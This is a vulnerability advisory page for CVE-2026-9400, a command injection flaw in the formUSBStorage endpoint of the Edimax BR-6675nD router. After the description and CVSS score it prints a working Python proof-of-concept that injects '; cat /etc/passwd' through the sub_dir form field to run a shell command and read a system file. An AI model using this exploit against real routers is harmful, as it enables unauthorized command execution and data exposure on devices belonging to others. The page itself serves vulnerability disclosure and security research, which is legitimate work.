Security Vulnerability Report
中文
CVE-2026-9400 CVSS 6.3 MEDIUM

CVE-2026-9400

Published: 2026-05-24 23:16:58
Last Modified: 2026-05-24 23:16:58

Description

A flaw has been found in Edimax BR-6675nD 1.12. This issue affects the function formUSBStorage of the file /goform/formUSBStorage of the component POST Request Handler. Executing a manipulation of the argument sub_dir can lead to command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Edimax BR-6675nD 1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_cve_2026_9400(target_ip): # Target endpoint url = f"http://{target_ip}/goform/formUSBStorage" # Command injection payload # ';' is used to chain commands in many Linux shells payload = "; cat /etc/passwd" # Form data to be sent data = { "sub_dir": payload } try: print(f"[*] Sending exploit request to {target_ip}...") response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the target router IP address target = "192.168.1.1" exploit_cve_2026_9400(target)

References

Raw JSON Data

JSON
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